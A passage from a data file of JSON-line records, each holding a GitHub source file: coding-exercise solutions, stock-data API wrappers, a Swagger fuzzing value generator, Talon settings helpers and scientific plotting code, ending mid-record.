+{"seq_id":"44788836349","text":"\"\"\"\n给你一个字符串 s 和一个字符规律 p，请你来实现一个支持 '.' 和 '*' 的正则表达式匹配。\n\n'.' 匹配任意单个字符\n'*' 匹配零个或多个前面的那一个元素\n所谓匹配，是要涵盖 整个 字符串 s的，而不是部分字符串。\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/regular-expression-matching\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n\"\"\"\n\n# 2021.04.18 直接放弃\nclass Solution:\n    def isMatch(self, s: str, p: str) -> bool:\n        m, n = len(s), len(p)\n\n        def matches(i: int, j: int) -> bool:\n            if i == 0:\n                return False\n            if p[j - 1] == '.':\n                return True\n            return s[i - 1] == p[j - 1]\n\n        f = [[False] * (n + 1) for _ in range(m + 1)]\n        f[0][0] = True\n        for i in range(m + 1):\n            for j in range(1, n + 1):\n                if p[j - 1] == '*':\n                    f[i][j] |= f[i][j - 2]\n                    if matches(i, j - 1):\n                        f[i][j] |= f[i - 1][j]\n                else:\n                    if matches(i, j):\n                        f[i][j] |= f[i - 1][j - 1]\n        return f[m][n]\n","repo_name":"ZhiyuSun/leetcode-practice","sub_path":"1-100/010_正则表达式匹配.py","file_name":"010_正则表达式匹配.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"2793799221","text":"import numpy as np\n\n# import doc,vocab indices\nkosdata_full = np.loadtxt('data/docword.kos.txt', dtype='float', skiprows=3)\nkosdata_full[:,:2] -= 1  # docs and vocs were originally numbered starting with 1\n\nM = 3430  # number of documents\nV = 6906  # size of vocabulary\n\n# select only enough documents st S is approximately 50,000\nfor d in range(M):\n    if d == 0:\n        kosdata = kosdata_full[kosdata_full[:,0]==0.0]\n        c = np.sum(kosdata[:,2])\n    else:\n        kosdata = np.vstack((kosdata,kosdata_full[kosdata_full[:,0]==float(d)]))\n        c = np.sum(kosdata[:,2])\n        if c > 25000:\n            break\n\n# now save the data\nnp.savetxt('data/kosdata.dat', kosdata)\n","repo_name":"paulrozdeba/CS250B","sub_path":"hw3/savekos.py","file_name":"savekos.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"24270718869","text":"'''ref: https://www.hackerrank.com/challenges/saveprincess/problem'''\n\nimport sys\n\ndef displayPathtoPrincess(n, grid) :\n    print(grid)\n    #finding position of m and p\n    for i in range(n):\n        for j in range(n):\n            if grid[i][j]=='m':\n                pos_m= [i,j]\n            if grid[i][j]=='p':\n                pos_p=[i,j]\n    # print(pos_m,pos_p)\n    while not(pos_m[0]==pos_p[0] and pos_m[1]== pos_p[1]):\n        diff= pos_p[0]-pos_m[0],pos_p[1]-pos_m[1]\n        # print(pos_m,pos_p)\n        # print('diff',diff)\n        if abs(diff[0])<=abs(diff[1]) or diff[1]==0:\n            # pos_m[0] = pos_m[0] + 1\n            if diff[0]<0:\n                pos_m[0] = pos_m[0] - 1\n                print('UP')\n            if diff[0]>0:\n                pos_m[0] = pos_m[0] + 1\n                print('DOWN')\n        if abs(diff[0])>abs(diff[1]) or diff[0]==0:\n            # pos_m[1] = pos_m[1] + 1\n            if diff[1]<0:\n                pos_m[1] = pos_m[1] - 1\n                print('LEFT')\n            if diff[1]>0:\n                pos_m[1] = pos_m[1] + 1\n                print('RIGHT')\n\n    return None\n\nif __name__=='__main__':\n    # m = int ( input () )\n    # grid = []\n    # for i in range ( 0, m ) :\n    #     grid.append ( input ().rstrip().strip () )\n    m=7\n    grid=['-------', '------m', '-------','-------','-------','-------','p------']\n    displayPathtoPrincess ( m, grid )\n\n\n\n\n\n\n","repo_name":"bksaini078/DynamicProgramming","sub_path":"HackerRank/Artificial intelligence/botsavesprincess.py","file_name":"botsavesprincess.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22338225466","text":"#!/usr/bin/python3\n\n\"\"\"This module defines a class Student.\"\"\"\n\n\nclass Student:\n    \"\"\"A class that represents a student with attributes\n    first_name, last_name, and age.\"\"\"\n\n    def __init__(self, first_name, last_name, age):\n        self.first_name = first_name\n        self.last_name = last_name\n        self.age = age\n\n    def to_json(self, attrs=None):\n        \"\"\"Convert the student object to a JSON-compatible\n        dictionary with optional attribute filter.\"\"\"\n        if attrs is None:\n            return self.__dict__\n        return {attr: getattr(self, attr) for attr in attrs\n                if hasattr(self, attr)}\n","repo_name":"SMCastr/holbertonschool-higher_level_programming","sub_path":"python-input_output/10-student.py","file_name":"10-student.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21016386278","text":"import csv\nimport os\nfrom pathlib import Path\n\nfrom talon import resource\n\n# NOTE: This method requires this module to be one folder below the top-level\n#   community/knausj folder.\nSETTINGS_DIR = Path(__file__).parents[1] / \"settings\"\n\nif not SETTINGS_DIR.is_dir():\n    os.mkdir(SETTINGS_DIR)\n\n\ndef get_list_from_csv(\n    filename: str, headers: tuple[str, str], default: dict[str, str] = {}\n):\n    \"\"\"Retrieves list from CSV\"\"\"\n    path = SETTINGS_DIR / filename\n    assert filename.endswith(\".csv\")\n\n    if not path.is_file():\n        with open(path, \"w\", encoding=\"utf-8\", newline=\"\") as file:\n            writer = csv.writer(file)\n            writer.writerow(headers)\n            for key, value in default.items():\n                writer.writerow([key] if key == value else [value, key])\n\n    # Now read via resource to take advantage of talon's\n    # ability to reload this script for us when the resource changes\n    with resource.open(str(path), \"r\") as f:\n        rows = list(csv.reader(f))\n\n    # print(str(rows))\n    mapping = {}\n    if len(rows) >= 2:\n        actual_headers = rows[0]\n        if not actual_headers == list(headers):\n            print(\n                f'\"{filename}\": Malformed headers - {actual_headers}.'\n                + f\" Should be {list(headers)}. Ignoring row.\"\n            )\n        for row in rows[1:]:\n            if len(row) == 0:\n                # Windows newlines are sometimes read as empty rows. :champagne:\n                continue\n            if len(row) == 1:\n                output = spoken_form = row[0]\n            else:\n                output, spoken_form = row[:2]\n                if len(row) > 2:\n                    print(\n                        f'\"{filename}\": More than two values in row: {row}.'\n                        + \" Ignoring the extras.\"\n                    )\n            # Leading/trailing whitespace in spoken form can prevent recognition.\n            spoken_form = spoken_form.strip()\n            mapping[spoken_form] = output\n\n    return mapping\n\n\ndef append_to_csv(filename: str, rows: dict[str, str]):\n    path = SETTINGS_DIR / filename\n    assert filename.endswith(\".csv\")\n\n    with open(str(path)) as file:\n        line = None\n        for line in file:\n            pass\n        needs_newline = line is not None and not line.endswith(\"\\n\")\n    with open(path, \"a\", encoding=\"utf-8\", newline=\"\") as file:\n        writer = csv.writer(file)\n        if needs_newline:\n            writer.writerow([])\n        for key, value in rows.items():\n            writer.writerow([key] if key == value else [value, key])\n","repo_name":"talonhub/community","sub_path":"core/user_settings.py","file_name":"user_settings.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","stars":498,"dataset":"github-code","pt":"16"}
+{"seq_id":"5584364782","text":"import datetime\nimport time\n\nimport config as cfg\nimport pandas as pd\nfrom alpha_vantage.techindicators import TechIndicators\nfrom alpha_vantage.timeseries import TimeSeries\n\napi_key = cfg.Secrets[\"api_key\"]\n\nts = TimeSeries(key=api_key, output_format=\"pandas\")\nti = TechIndicators(key=api_key, output_format=\"pandas\")\n# Testing API\n# data, meta_data = ts.get_intraday(symbol=\"OAS\", interval=\"1min\", outputsize=\"full\")\n# print(data)\n\n\ndef get_intraday_data_one_minute(ticker):\n    \"\"\"Real-time 1 minute intraday data of a given stock ticker\n\n    Arguments:\n        ticker {string} -- unique series of letters assigned to a security for trading purposes\n\n    Returns:\n        Pandas -- Formatted dataframe of exchange rates and data\n    \"\"\"\n    data = ts.get_intraday(symbol=ticker, interval=\"1min\", outputsize=\"full\")\n    return data\n\n\ndef get_intraday_data_five_minute(ticker):\n    \"\"\"Real-time 5 minute intraday data of a given stock ticker\n\n    Arguments:\n        ticker {string} -- unique series of letters assigned to a security for trading purposes\n\n    Returns:\n        Pandas -- Formatted dataframe of exchange rates and data\n    \"\"\"\n    data = ts.get_intraday(symbol=ticker, interval=\"5min\", outputsize=\"full\")\n    return data\n\n\ndef get_intraday_data_fifteen_minute(ticker):\n    \"\"\"Real-time 15 minute intraday data of a given stock ticker\n\n    Arguments:\n        ticker {string} -- unique series of letters assigned to a security for trading purposes\n\n    Returns:\n        Pandas -- Formatted dataframe of exchange rates and data\n    \"\"\"\n    data = ts.get_intraday(symbol=ticker, interval=\"15min\", outputsize=\"full\")\n    return data\n\n\ndef get_intraday_data_thirty_minute(ticker):\n    \"\"\"Real-time 30 minute intraday data of a given stock ticker\n\n    Arguments:\n        ticker {string} -- unique series of letters assigned to a security for trading purposes\n\n    Returns:\n        Pandas -- Formatted dataframe of exchange rates and data\n    \"\"\"\n    data = ts.get_intraday(symbol=ticker, interval=\"30min\", outputsize=\"full\")\n    return data\n\n\ndef get_intraday_data_sixty_minute(ticker):\n    \"\"\"Real-time 60 minute intraday data of a given stock ticker\n\n    Arguments:\n        ticker {string} -- unique series of letters assigned to a security for trading purposes\n\n    Returns:\n        Pandas -- Formatted dataframe of exchange rates and data\n    \"\"\"\n    data = ts.get_intraday(symbol=ticker, interval=\"60min\", outputsize=\"full\")\n    return data\n\n\ndef get_daily_data(ticker):\n    \"\"\"Real-time daily data of a given stock ticker\n\n    Arguments:\n        ticker {string} -- unique series of letters assigned to a security for trading purposes\n\n    Returns:\n        Pandas -- Formatted dataframe of exchange rates and data\n    \"\"\"\n    data = ts.get_daily(symbol=ticker, outputsize=\"full\")\n    return data\n\n\ndef get_weekly_data(ticker):\n    \"\"\"Real-time weekly data of a given stock ticker\n\n    Arguments:\n        ticker {string} -- unique series of letters assigned to a security for trading purposes\n\n    Returns:\n        Pandas -- Formatted dataframe of exchange rates and data\n    \"\"\"\n    data = ts.get_weekly(symbol=ticker, outputsize=\"full\")\n    return data\n\n\ndef get_monthly_data(ticker):\n    \"\"\"Real-time Monthly data of a given stock ticker\n\n    Arguments:\n        ticker {string} -- unique series of letters assigned to a security for trading purposes\n\n    Returns:\n        Pandas -- Formatted dataframe of exchange rates and data\n    \"\"\"\n    data = ts.get_monthly(symbol=ticker, outputsize=\"full\")\n    return data\n\n\ndef get_crypto_daily(ticker, market=\"USD\"):\n    \"\"\"API returning the daily historical time series for a digital currency (e.g., BTC)\n\n    Arguments:\n        ticker {string} -- digital/cryptocurrency ticker symbol\n\n    Keyword Arguments:\n        market {str} -- Exchange market you wish to pull the data from for example: CNY-Chinese Yuan (default: {\"USD\"})\n\n    Returns:\n        pandas -- dataframe of daily data refreshed at midnight (UTC).\n    \"\"\"\n    data = ts.get_digital_currency_daily(symbol=ticker, market=market)\n    return data\n\n\ndef get_percentage_change(ticker):\n    \"\"\"Retrieve the percentage change in 5 minute increments\n\n    Arguments:\n        ticker {string} -- unique series of letters assigned to a security for trading purposes\n\n    Returns:\n        Pandas -- Formatted dataframe of percent change over 5 minute increments\n    \"\"\"\n    data = ts.get_intraday(symbol=ticker, interval=\"5min\", outputsize=\"full\")\n    close_data = data[\"4. close\"]\n    percentage_change = close_data.pct_change()\n    return percentage_change\n\n\ndef set_alert_volatility(ticker, increased_change=0.0008):\n    \"\"\"Day trading alert can be set on watched tickers\n\n    Arguments:\n        ticker {string} -- unique series of letters assigned to a security for trading purposes\n\n    Keyword Arguments:\n        increased_change {float} -- incremental change you are seeking within the 1 minute increments (default: {0.0008})\n\n    Returns:\n        Alert -- returns alert stamped with date & time of incremental change conditional statement\n    \"\"\"\n    now = datetime.now()\n    alert_message = (\n        now.strftime(\"%I:%M:%S %p\")\n        + \" ALERT \"\n        + ticker\n        + \" Has increased above \"\n        + increased_change\n        + \" in the last minute\"\n    )\n    data = ts.get_intraday(symbol=ticker, interval=\"1min\", outputsize=\"full\")\n    close_data = data[\"4. close\"]\n    percentage_change = close_data.pct_change()\n    last_change = percentage_change[-1]\n    if abs(last_change) > increased_change:\n        return alert_message\n\n\ndef get_simple_moving_average_bi_weekly(ticker):\n    \"\"\"arithmetic moving average calculated by adding recent prices and dividing that by the number of time periods\n\n    Arguments:\n        ticker {string} -- unique series of letters assigned to a security for trading purposes\n\n    Returns:\n        Pandas -- Formatted dataframe of SMA\n    \"\"\"\n    data_ti = ti.get_sma(symbol=ticker, interval=\"daily\", time_period=14, series_type=\"close\")\n    return data_ti\n\n\ndef get_exponential_moving_average_bi_weekly(ticker):\n    \"\"\"Type of moving average that places a greater weight and significance on most recent data points \n\n    Arguments:\n        ticker {string} -- unique series of letters assigned to a security for trading purposes\n\n    Returns:\n        Pandas -- Formatted dataframe of EMA\n    \"\"\"\n    data_ti = ti.get_ema(symbol=ticker, interval=\"daily\", time_period=14, series_type=\"close\")\n    return data_ti\n\n\ndef get_sma_to_close_indicator(ticker, period=60):\n    \"\"\"Looking for closing price much lower than SMA (betting the stock price will correct itself)\n\n    Arguments:\n        ticker {string} -- unique series of letters assigned to a security for trading purposes\n\n    Keyword Arguments:\n        period {int} -- number of time periods used to divide for SMA (default: {60})\n\n    Returns:\n        pandas -- Formatted data of close price to SMA \n    \"\"\"\n    data_ti = ti.get_sma(symbol=ticker, interval=\"1min\", time_period=period, series_type=\"close\")\n    data_ts = ts.get_intraday(symbol=ticker, interval=\"1min\", outputsize=\"full\")\n    dataframe1 = data_ti\n    dataframe2 = data_ts[\"4. close\"].iloc[\n        period - 1 : :\n    ]  # Remove first 60 entries to have same amount of values in both frames\n    dataframe2.index = dataframe1.index\n    total_dataframe = pd.concat([dataframe1, dataframe2], axis=1)\n    return total_dataframe\n","repo_name":"ZRHerr/StockMarket","sub_path":"aggregator.py","file_name":"aggregator.py","file_ext":"py","file_size_in_byte":7403,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"21549764855","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 15 19:32:08 2014\n\n@author: simonfilhol\n\"\"\"\nimport numpy as np\n\ndef myformula(X,Y,M,formula):\n    return eval(formula)\n\ndef surfaceMaker(MatSize,Coords,fun):\n    '''\n        **D, dx, dy =  surfaceMaker(MatSize, Coords, fun=\"f(X,Y,M)\")**\\n\n    create a 2D array based on input dimension and arithmetic combinations\\n\n    Copyright S. Filhol\n    \n    Parameters\n    ----------\n    **Matsize** :      a tuple containing the size of the matrix (Xsize, Ysize)\\n\n    **Coords** : a tuple containing the range of coordinates along X and Y-axis (Xstart, Xend, Ystart, Yend)\n\n    Returns\n    -------\n    **D** :      detrended array (2D) \\n\n    **transform** : transform paramters use for saving matrix as rater, tuple of size 6\n    (topleft X, dx W-E, rotation 0 if Norh up, topleft Y, dy N-S, rotation 0 )\n    \n    '''\n    if np.size(MatSize)!=2:\n        print(\"MatSize argument requires 2 integers as input such as (Xsize, Ysize)\")\n        return\n    if np.size(Coords)!=4:\n        print(\"Coords argument requires 4 real number such as (Xstart, Xend, Ystart, Yend)\")\n        return\n    Xsize=MatSize[0]\n    Ysize=MatSize[1]\n    Xstart=Coords[0]\n    Xend= Coords[1]\n    Ystart=Coords[2]\n    Yend=Coords[3]\n    M=np.ones((Ysize,Xsize),float)\n    x=np.linspace(Xstart,Xend,num=Xsize)\n    y=np.linspace(Ystart,Yend,num=Ysize)\n    X=M*x\n    Y=y*M.T\n    Y=Y.T\n    D=myformula(X,Y,M,fun)\n    dx=x[1]-x[0]\n    dy=y[1]-y[0]\n    transform=(Xstart, dx, 0, Ystart, dy, 0) #(topleft X, dx W-E, rotation 0 if Norh up, topleft Y, )\n    return D, transform\n   \n\n\n\n#===================== Test Zone ================\n'''    \nXsize=6\nYsize=5\nXstart=0\nXend= 100\nYstart=0\nYend=100\nmyOnes=np.ones((Ysize,Xsize),float)\nx=np.linspace(Xstart,Xend,num=Xsize)\ny=np.linspace(Ystart,Yend,num=Ysize)\nXmat=myOnes*x\nYmat=y*myOnes.T\nYmat=Ymat.T\nM= - 1.5*myOnes*Ymat+ myOnes*x\n\nD = detrend(sinmat)\n'''\n","repo_name":"ArcticSnow/dempy","sub_path":"dempy/MatrixGenerator.py","file_name":"MatrixGenerator.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"33156851422","text":"import sys\nsys.path.insert(0, '../LeapSDK/lib/')\nimport Leap\nfrom Leap import Finger\nfrom constants import pygameWindowWidth, pygameWindowDepth\n\ncontroller = Leap.Controller()\n\nfrom pygameWindow import PYGAME_WINDOW\nimport random\n\nx = 500\ny = 400\nxMin = 1000.0\nxMax = -1000.0\nyMin = 1000.0\nyMax = -1000.0\n\npygameWindow = PYGAME_WINDOW()\n\nprint(pygameWindow)\n\ndef Perturb_Circle_Position():\n\tglobal x, y\n\tfourSidedDieRoll = random.randint(1, 4)\n\tif fourSidedDieRoll == 1:\n\t\tx -= 1\n\telif fourSidedDieRoll == 2:\n\t\tx += 1\n\telif fourSidedDieRoll == 3:\n\t\ty -= 1\n\telse:\n\t\ty += 1\n\ndef Scale(x, oldMin, oldMax, newMin, newMax):\n\tif oldMin == oldMax:\n\t\tnewX = float(newMax - newMin)/2\n\telse:\n\t\tnewX = float(newMin) + float(newMax - newMin) * float(x - oldMin)/float(oldMax - oldMin)\n\n\n\treturn newX\n\ndef Handle_Frame(frame):\n\tglobal x, y, xMin, xMax, yMin, yMax\n\thand = frame.hands[0]\n\tfingers = hand.fingers\n\tindexFingerList = fingers.finger_type(Finger.TYPE_INDEX)\n\tindexFinger = indexFingerList[0]\n\tdistalPhalanx = indexFinger.bone(3)\n\ttip = distalPhalanx.next_joint\n\tx = int(tip[0])\n\ty = int(tip[1])\n\tif x < xMin:\n\t\txMin = x\n\telif x > xMax:\n\t\txMax = x\n\tif y < yMin:\n\t\tyMin = y\n\telif y > yMax:\n\t\tyMax = y\n\nwhile True:\n\tpygameWindow.Prepare()\n\tframe = controller.frame()\n\tif len(frame.hands) > 0:\n\t\tHandle_Frame(frame)\n\t\tpygameX = Scale(x, xMin, xMax, 0, pygameWindowWidth)\n\t\tpygameY = Scale(y, yMin, yMax, pygameWindowDepth, 0)\n\t\tpygameWindow.Draw_Black_Circle(int(pygameX), int(pygameY))\n\tpygameWindow.Reveal()\n\t\"\"\"Perturb_Circle_Position()\n\tpygameWindow.Draw_Black_Circle(x,y)\"\"\"","repo_name":"bapplepi/CS228","sub_path":"Del01.py","file_name":"Del01.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"521768547","text":"import logging\nimport threading\n\nfrom django.conf import settings\nfrom django.core.mail import send_mail\n\nlogger = logging.getLogger(__name__)\n\n\ndef send_mail_in_thread(subject, message, email):\n\n    def mail_send():\n        try:\n            send_mail(subject, message, settings.EMAIL_HOST_USER, [email])\n        except Exception as e:\n            logger.warning(str(e))\n\n    t = threading.Thread(target=mail_send, daemon=True)\n    t.start()\n    logger.warning(f'{email} - sending in thread')\n","repo_name":"repavn/auth_form","sub_path":"mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28763312085","text":"import os\nfrom random import getrandbits, randint, uniform\nfrom typing import Any, Dict, List\n\nwith open(os.path.dirname(os.path.realpath(__file__)) + \"/blns.txt\") as f:\n    string_data = [line.rstrip() for line in f if not line.strip().startswith(\"#\")]\n\n\ndef rand_int(upper_limit: int, lower_limit: int = 0) -> int:\n    return randint(lower_limit, upper_limit)\n\n\ndef fuzz_boolean(_: Any) -> bool:\n    return bool(getrandbits(1))\n\n\ndef fuzz_date_time() -> str:\n    year = rand_int(3000, 1900)\n    month = rand_int(12, 1)\n    day = rand_int(30, 1)\n    hour = rand_int(24, 1)\n    minute = rand_int(60, 1)\n    second = rand_int(60, 1)\n\n    return \"%s-%02d-%02dT%02d:%02d:%02d.000+00:00\" % (\n        year,\n        month,\n        day,\n        hour,\n        minute,\n        second,\n    )\n\n\ndef fuzz_string(string_schema: Any) -> Any:\n    is_enum = string_schema.get(\"enum\")\n    string_format = string_schema.get(\"format\")\n    if is_enum:\n        # get a random item from list\n        return is_enum[rand_int(len(is_enum) - 1)]\n\n    if string_format == \"date-time\":\n        return fuzz_date_time()\n\n    random_index = rand_int(len(string_data) - 1)\n    return string_data[random_index]\n\n\ndef fuzz_int(int_schema: Any) -> int:\n    return int(uniform(-1 * 1000000000, 1 * 1000000000))\n\n\ndef fuzz_file(file_schema: Any) -> str:\n    return \"\"\n\n\ndef fuzz_array_length() -> int:\n    return 10\n\n\ndef fuzz_array(arr_schema: Any, arr_length: int = fuzz_array_length()) -> List:\n    items = arr_schema[\"items\"]\n    arr_items_type = items[\"type\"]\n    fuzz_func = type_mapper_func(arr_items_type)\n    if arr_items_type == \"object\":\n        return [\n            fuzz_object(arr_schema[\"items\"][\"properties\"]) for o in range(arr_length)\n        ]\n    else:\n        return [fuzz_func(items) for i in range(arr_length)]\n\n\ndef fuzz_object(root_properties: Dict) -> object:\n    obj_root = {}\n    for k, v in root_properties.items():\n        prop_type = v[\"type\"]\n        if prop_type != \"object\":\n            fuzz_func = type_mapper_func(prop_type)\n            obj_root[k] = fuzz_func(v)\n        else:\n            obj_root[k] = fuzz_object(v[\"properties\"])\n\n    return obj_root\n\n\n__type_mapping = {\n    \"integer\": fuzz_int,\n    \"boolean\": fuzz_boolean,\n    \"string\": fuzz_string,\n    \"array\": fuzz_array,\n    \"file\": fuzz_file,\n}\n\n\ndef type_mapper_func(type_name: str) -> Any:\n    return __type_mapping[type_name]\n","repo_name":"namuan/fuzzy-swagger","sub_path":"src/fuzzy_swagger/fuzz_generator.py","file_name":"fuzz_generator.py","file_ext":"py","file_size_in_byte":2389,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"16"}
+{"seq_id":"71706944007","text":"import numpy as np\n\n\ndef _partition_homogenous(eigenstate, L, L_sub):\n    \"\"\"\n    A partitioning scheme that partitions a system\n    into two homogenous subblocks next to each other,\n    which can be schematically shown as:\n\n    L -> L_A | L_B\n\n    Here, A and B denote subsystems A and B. The\n    corresponding Hilbert space dimensions are:\n\n    The whole system: N = 2**L\n    Subsystem A: N_A = 2**L_A\n    Subsystem B: N_B = 2**L_B\n\n    Parameters\n    ----------\n\n    eigenstate: ndarray\n                1D ndarray containing an eigenstate\n                to be partitioned.\n    L: int\n       System size\n    L_sub: int\n       Subsystem size for one of the subsystem. The\n       size of the remaining one is of course\n       L - L_sub.\n\n    Returns\n    -------\n\n    eig_mat: ndarray\n                 2D ndarray -> eigenstate partitioned\n                 as a tensor product of the two subsystems\n                 described above.\n\n    \"\"\"\n    # convert eigenstate to an array\n    eigenstate = np.array(eigenstate)\n    # the remaining subsystem's size\n    L_sub_ = L - L_sub\n\n    # reshape the eigenstate -> write it as a tensor\n    # product of the two subsystems\n    eig_mat = eigenstate.reshape((2**L_sub, 2**L_sub_))\n\n    return eig_mat\n\n\npartition_dict = {'homogenous': _partition_homogenous}\n","repo_name":"JanSuntajs/ham1d","sub_path":"ham1d/entropy/partition_fun.py","file_name":"partition_fun.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"8621224041","text":"from copy import deepcopy\ndef slove_sum(Map):\n    res = sum([sum(x) for x in Map])*4\n    res -= 2*sum(Map[0] + Map[N-1])\n    a = b = 0\n    for i in range(N):\n        a += Map[i][0]\n        b += Map[i][M-1]\n    res -= 2*(a + b)\n    res += Map[0][0] + Map[0][M-1] + Map[N-1][M-1] + Map[N-1][0]\n    return res\n\n\nN, M = map(int, input().split())\nMap = [list(map(int, input().split())) for _ in range(N)]\nfirst_sum = slove_sum(Map)\ndiff = 0# 이거의 최댓값 찾기\nfor a in [0, N-1]:\n    for b in range(1, N-1):\n        new = sum(Map[a])*2 - sum(Map[b])*2 + Map[b][0] + Map[b][M-1] - Map[a][0] - Map[a][M-1]\n        diff = max(diff, new)\n# 열\nfor a in [0, M-1]:\n    col_a = 0\n    for i in range(N):\n        col_a += Map[i][a]\n    for b in range(1, M-1):\n        col_b = 0\n        for i in range(N):\n            col_b += Map[i][b]\n        new = 2*col_a - 2*col_b + Map[0][b] + Map[N-1][b] - Map[0][a] - Map[N-1][a]\n        diff = max(diff, new)\nprint(first_sum + diff)","repo_name":"leejongcheal/baekjoon_course_coding","sub_path":"문제/브루트포스-40/브루트 포스3-9/16971번 - 배열 B의 값.py","file_name":"16971번 - 배열 B의 값.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70250097608","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n# For latex plotting format\nplt.rcParams.update({\n    \"text.latex.preamble\": r\"\\usepackage{amsmath}\",\n    \"text.usetex\": True,\n    \"font.family\": \"sans-serif\",\n    \"font.sans-serif\": [\"Helvetica\"]})\n\n\ndef base_plot(fig_id, x_collection, y_collection, legend_collection, x_label, y_label, \n                title_label, x_log, y_log, legend_fontsize=18, legend_loc=None, \n                figsize=(8, 6), linewidth=4, markersize=12, markers=['s', 'o', '^'], \n                colors=['red', 'blue', 'limegreen'], reference_OC=None, addiontal_legend=None):\n    assert x_collection.shape == y_collection.shape, \"Data having inconsistent shapes!\"\n\n    fig, ax = plt.subplots(num=fig_id, figsize=figsize)\n    num_graphs = len(x_collection)\n\n    for i in range(num_graphs):\n        plt.plot(x_collection[i], y_collection[i], linestyle='-', marker=markers[i], markersize=markersize, color=colors[i], label=legend_collection[i])\n\n        plt.tick_params(labelsize=18)\n        plt.legend(fontsize=legend_fontsize, loc=legend_loc)\n        plt.xlabel(x_label, fontsize=20)\n        plt.ylabel(y_label, fontsize=22, rotation=90)\n        plt.title(title_label, fontsize=18)\n\n        if x_log:\n            plt.xscale(\"log\")\n        if y_log:\n            plt.yscale(\"log\")\n\n        ax.get_xaxis().set_tick_params(which='minor', labelsize=18)\n        ax.get_xaxis().set_tick_params(which='major', labelsize=18)\n        ax.get_yaxis().set_tick_params(which='minor', labelsize=18)\n        ax.get_yaxis().set_tick_params(which='major', labelsize=18)\n\n    if reference_OC is not None:\n        p1 = [1.5*get_mesh_size(7), np.min(y_collection[:, -2])]\n        p2 = [1.9*get_mesh_size(7), np.min(y_collection[:, -2])]\n        p3 = [p2[0], np.exp(reference_OC*np.log(p2[0]/p1[0]))*p1[1]]\n        ax.plot([p1[0], p2[0], p3[0], p1[0]], [p1[1], p2[1], p3[1], p1[1]], color='black')  \n\n        plt.text(1.6*get_mesh_size(7), np.exp(0.7*reference_OC*np.log(p2[0]/p1[0]))*p1[1], r'{}'.format(reference_OC), fontsize=18)\n\n\n    if addiontal_legend is not None:\n        plt.annotate(addiontal_legend, (0.05, 0.9), fontsize=18, xycoords='axes fraction')\n\n\n    return fig\n\n\ndef get_mesh_size(REFINEMENT):\n    DOMAIN_LENGTH = 2\n    DIVISION = np.power(2, REFINEMENT)\n    H = 2 * DOMAIN_LENGTH / DIVISION * np.sqrt(2.)\n    return H\n\n\ndef get_y_label(error_type):\n    if error_type == 'err_1':\n        y_label = r'$\\mathcal{E}_{L^{1}}$'\n    elif error_type == 'err_2':\n        y_label = r'$\\mathcal{E}_{L^{2}}$'\n    elif error_type == 'err_h1':\n        y_label = r'$\\mathcal{E}_{H^{1}}$'\n    elif error_type == 'err_inf':\n        y_label = r'$\\mathcal{E}_{L^{\\infty}}$'\n    elif error_type == 'err_sd':\n        y_label = r'$\\mathcal{E}_{\\textrm{SD}}$'\n    elif error_type == 'err_int':\n        y_label = r'$\\mathcal{E}_{\\textrm{Int}}$'\n    elif error_type == 'err_vol':\n        y_label = r'$\\mathcal{E}_{\\textrm{Vol}}$'\n    else:\n        assert 0, \"Unknown error type\" \n    return y_label\n\n\ndef get_reference_OC(error_type):\n    if error_type == 'err_1':\n        reference_OC = None\n    elif error_type == 'err_2':\n        reference_OC = 2\n    elif error_type == 'err_h1':\n        reference_OC = 1\n    elif error_type == 'err_inf':\n        reference_OC = None\n    elif error_type == 'err_sd':\n        reference_OC = 1\n    elif error_type == 'err_int':\n        reference_OC = None\n    elif error_type == 'err_vol':\n        reference_OC = None\n    else:\n        assert 0, \"Unknown error type\" \n    return reference_OC\n\n\ndef peanut_get_err(error_type, scheme, REFINEMENT):\n    return np.load('data/numpy/finite_difference/{}_{}_refinement_{}.npy'.format(error_type, scheme, REFINEMENT))\n    \n\ndef peanut_plot_iterations_helper(initial_ls, error_type, fig_id):\n    y_label = get_y_label(error_type)\n    REFINEMENTS = [5, 6, 7, 8]\n    y_collection = []\n    legend_collection = []\n    for REFINEMENT in REFINEMENTS:\n        err_fd_subcell = peanut_get_err(error_type, 'fd_subcell-' + initial_ls, REFINEMENT)\n        y_collection.append(err_fd_subcell[:11])\n        legend_collection.append(r'$h={:.3f}$'.format(get_mesh_size(REFINEMENT)))\n\n    y_collection = np.asarray(y_collection)\n    x_collection = np.repeat(np.linspace(0, y_collection.shape[1] - 1, y_collection.shape[1]).reshape(1, -1), y_collection.shape[0], axis=0)\n    \n    # legend_collection = [r'$h=0.176$', r'$h=0.088$', r'$h=0.044$', r'$h=0.022$']\n\n    x_label = 'Time step'\n    title_label =''\n\n    fig = base_plot(fig_id, x_collection, y_collection, legend_collection, x_label, y_label, title_label, False, True, \n        figsize=(10, 6), markersize=8, 